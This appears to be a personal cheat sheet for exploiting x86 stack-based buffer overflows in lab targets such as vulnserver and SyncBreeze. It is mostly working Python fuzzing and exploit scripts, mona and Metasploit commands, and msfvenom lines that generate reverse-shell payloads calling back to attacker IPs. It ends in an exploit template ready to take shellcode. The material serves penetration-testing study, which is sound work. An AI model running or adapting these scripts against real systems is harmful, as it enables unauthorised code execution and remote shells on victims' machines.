Buffer Overflow

x86 Stack-Based B.O.F

  • Set up VMs in Vmware-Hostonly Network Mode.

wget https://raw.githubusercontent.com/corelan/mona/master/mona.py -o "C:\Program Files (x86)\Immunity Inc\Immunity Debugger\PyCommands"

Spiking

  • Identify if vulnerability is present. Use spike script to fuzz input points.

  • On Windows VM : Run vulnserver > Run ImmunityDbger > Attach to vulnserver: File > Attach > Vulnserver

  • Start by hitting the Play button

  • Watch for if Paused while running spike script and look if EIP has been overwritten.

#Kali System
generic_send_tcp <Windows Target> <Port> spike_script 0 0

#Vulnserver
#trunc_spike_script
s_readline();
s_string("TRUN ");
s_string_variable("0");

#Brainpan
s_string_variable("0");

Fuzzing

  • Restart ImmunityDbgr (Debug > Restart)- after every crash

  • This step will output approx no: of bytes when the crash occured.

#!/usr/bin/python
import sys, socket
from time import sleep

ip = "10.10.85.137"
port = 1337
prefix = "OVERFLOW2 "
buffer = "A" * 100
#timeout = 5

while True:
        try:
                s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
#               s.settimeout(timeout)
                s.connect((ip, port))
                s.recv(1024)
                print "Fuzzing with %s bytes..." % str(len(buffer))
                s.send((prefix + buffer))
                s.recv(1024)
        except:
                print "Fuzzing crashed at %s bytes" % str(len(buffer))
                sys.exit()
        buffer = buffer + "A" * 100
        sleep(1)
        
        
----------------------------------------------------------------------------------------
#!/usr/bin/python
import sys, socket
from time import sleep

ip = "10.10.85.137"
port = 31337
size = 100
#buffer = "A" * 100 + "\n"
#timeout = 5

while True:
        try:
                s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
                s.connect((ip, port))
                buffer = "A" * size + "\n"
                print "\nFuzzing with %s bytes..." % size
                s.send(buffer)
                s.close()
                size+=100
                sleep(3)
        except:
                print "Exited!! Fuzzing crashed at %s bytes" % size
                sys.exit()
                
                
----------------
#HTTP Service:Syncbreeze

#!/usr/bin/python
import sys, socket
from time import sleep

ip = "192.168.174.10"
port = 80

buffer= "A" * 100
while True:
        try:
                content = "username=" + buffer + "&password=A"
                req = "POST /login HTTP/1.1\r\n"
                req+= "Host: 192.168.174.10\r\n"
                req+= "User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0\r\n"
                req+= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\r\n"
                req+= "Accept-Language: en-US,en;q=0.5\r\n"
                req+= "Accept-Encoding: gzip, deflate\r\n"
                req+= "Content-Type: application/x-www-form-urlencoded\r\n"
                req+= "Content-Length: "+ str(len(content)) + "\r\n"
                req+= "Origin: http://192.168.174.10\r\n"
                req+= "Connection: close\r\n"
                req+= "Referer: http://192.168.174.10/login\r\n"
                req+= "Upgrade-Insecure-Requests: 1\r\n"
                req+= "\r\n"
                s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
                s.connect((ip, port))
                print "Fuzzing with %s bytes..." % str(len(buffer))
                s.send((req + content))
                sleep(10)
                buffer = buffer + "A" * 100
                content = "username=" + buffer + "&password=A"
        except:
                print "Connection error! Fuzzing crashed at %s bytes" % str(len(buffer))
                sys.exit()

Finding the Offset

  • Goal is to identify the value of the EIP > This helps identify the offset.

#Create pattern
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l <No: of bytes from fuzz.py>
msf-pattern_create -l 2000

#Find_offset.py
#!/usr/bin/python
import sys, socket

ip = "10.10.85.137"
port = 1337
prefix ="OVERFLOW2 "
offset = "<Insert created pattern here>"

try:
	s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
	s.connect((ip, port))
		
	s.send((prefix + offset))
	s.close()

except:
	print "Error connecting to server"
	sys.exit()
  • chmod +x findoffset.py; ./find_offset.py

  • Once crash occurs, take note of the value of the EIP register within Immunity Debugger.

/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l <No: of bytes from fuzz.py> -q <Value of EIP register in Immunity Dbgr at crash>
msf-pattern_offset -q <Value of EIP register in Immunity Dbgr at crash>  
  • This will show the exact offset value. This means there are those many bytes before you get to the EIP and then the EIP itself is 4 bytes long.

Over-writing the EIP

  • The goal is to over-write the 4 specific bytes of the EIP.

  • We confirm by writing upto offset and over-writing the EIP with 4 'B's [42424242]

#overwrite_eip.py
#!/usr/bin/python
import sys, socket

ip = "10.10.155.133"
port = 1337
prefix ="OVERFLOW2 "
offset= 634
shellcode = "A" * offset + "B" * 4

try:
	s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
	s.connect((ip, port))
		
	s.send((prefix + shellcode))
	s.close()

except:
	print "Error connecting to server"
	sys.exit()

Finding Bad Characters

Generate a bytearray using mona, and note the location of the bytearray.bin file that is generated.

  • Known bad characters:

    • \0x00: Marks end of string.

    • \0x0D : Marks end of HTTP field.

!mona config -set workingfolder c:\mona
!mona bytearray -b "\x00"
#!/usr/bin/python
import sys, socket

ip = "10.10.155.133"
port = 1337
prefix ="OVERFLOW2 "
offset= 634

shellcode = "A" * offset + "B" * 4
badchar = (
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f"
"\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f"
"\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f"
"\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f"
"\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f"
"\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f"
"\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f"
"\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f"
"\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f"
"\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f"
"\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf"
"\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf"
"\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf"
"\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf"
"\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef"
"\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
)

try:
	s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
	s.connect((ip, port))
		
	s.send((prefix + shellcode + badchar))
	s.close()

except:
	print "Error connecting to server"
	sys.exit()
  • Make a note of the address to which the ESP register points [eg:0022F930] and use it in the following mona command:

  • Refer this guide on how to remove Bad_char with Mona.

!mona compare -f C:\mona\bytearray.bin -a <ESP value>

#Identify bad char and remove them from the python script above. 

#Repeat for each bad character identified until all are removed.

#Generate a new byte array
!mona bytearray -b "\x00\<Identified bad char>" #No comma seperators
!mona compare -f C:\mona\oscp\bytearray.bin -a <new ESP value>

Finding a Jump Point

  • Goal is to identify locations in memory that won’t change addresses when we restart program that hold the instruction ‘JMP ESP’.

  • Potential Targets: DLL used by the vulnerable program that has no memory protections[eg:ASLR etc].

  • Use mona.py with ImmunityDbgr to help identify the appropriate DLL.

  • If we found any bad characters from the previous step, we could check the results for any bad characters. For example, if we found out from previous step that 0x62 was a bad character, we would have to use a different module because all these results include ‘0x62’.[Vuln server example]

!mona jmp -r esp -cpb "\x00"<Other bad char if any>"


---------Alternatively-----------
--Type within Immuntiy Dbgr > Left-Bottom - text box
!mona modules

--Look for DLLs without protections ("False")
--Find OPCode equivalent of a JUMP
--To find the OPCode equivalent of JMP ESP:
/usr/share/metasploit-framework/tools/exploit/nasm_shell.rb 
JMP ESP

#Find the return address for EIP
#Type within Immunity Dbgr > Left-Bottom - text box
!mona find -s "\xff\xe4" -m <Potentialfile.dll>
!mona find -s "\xff\xe4" -m <vulnservice.exe>
#This will output a few return addresses. We will need to test if these will get us to EIP breakpoint

-----------------------------------------------------------------------------------------

#Modify script to jump to pointer. Note enter in reverse[Little endian format for x86 arch] (Eg: 0x625011af > \xaf\x11\x50\x62\ )

#!/usr/bin/python
import sys, socket

ip = "10.10.223.90"
port = 1337
prefix ="OVERFLOW2 "
offset= 634
buffer = "A" * offset + "\xaf\x11\x50\x62"

try:
        s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
        s.connect((ip, port))

        s.send((prefix + buffer))
        s.close()

except:
        print "Error connecting to server"
        sys.exit()
  • Test if we reach the jump-point

  • Set breakpoint on the address by pressing F2.

  • Within ImmunityDbgr: Enter Expression to follow (Eg: 625011af ) > Hit 'F2', or:

  • bp 0x625011af

  • ImmunityDbgr: EIP should be at breakpoint if it ran successfully.

Generating Shellcode

msfvenom -p windows/shell_reverse_tcp LHOST=192.168.19.42 LPORT=80 EXITFUNC=thread -b "\x00\x04\x16\x4a\x6d" -f c
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.198.146 LPORT=443 -f c -e x86/shikata_ga_nai -b "\x00"

#Add nops (padding) before shellcode

#exploit.py
#!/usr/bin/python
import sys, socket

ip = "10.10.223.90"
port = 1337
prefix ="OVERFLOW2 "
offset= 634
padding = 16
jmp = "\xaf\x11\x50\x62"

shellcode = ("")

buffer = "A" * offset + jmp + "\x90" * padding + shellcode

try:
        s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
        s.connect((ip, port))

        s.send((prefix + buffer))
        s.close()

except:
        print "Error connecting to server"
        sys.exit()

Last updated